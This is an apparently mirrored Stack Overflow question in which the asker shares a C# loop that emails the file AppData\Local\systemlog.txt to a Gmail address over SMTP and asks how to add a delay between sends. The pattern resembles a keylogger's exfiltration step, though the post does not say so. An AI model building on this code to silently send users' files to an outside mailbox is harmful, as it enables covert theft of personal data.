Quantcast
Channel: Active questions tagged email - Stack Overflow
Viewing all articles
Browse latest Browse all 30096

While(true) Thread.Sleep(); doesnt work how to sleep?

$
0
0
            while (true)            {                Thread.Sleep(1);                MailMessage mail = new MailMessage();                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");                mail.From = new MailAddress("");                mail.To.Add("");                mail.Subject = "Test Mail";                mail.Attachments.Add(new Attachment(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt"));                mail.Body = "This is for testing SMTP mail from GMAIL";                SmtpServer.Port = 587;                SmtpServer.Credentials = new System.Net.NetworkCredential("", "");                SmtpServer.EnableSsl = true;                SmtpServer.Send(mail);                Application.DoEvents();            }

Hey i want that the email were sendet every 10 minutes or 1 minute but Thread.Sleep(1); doesnt work i need help please thanks (;


Viewing all articles
Browse latest Browse all 30096

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>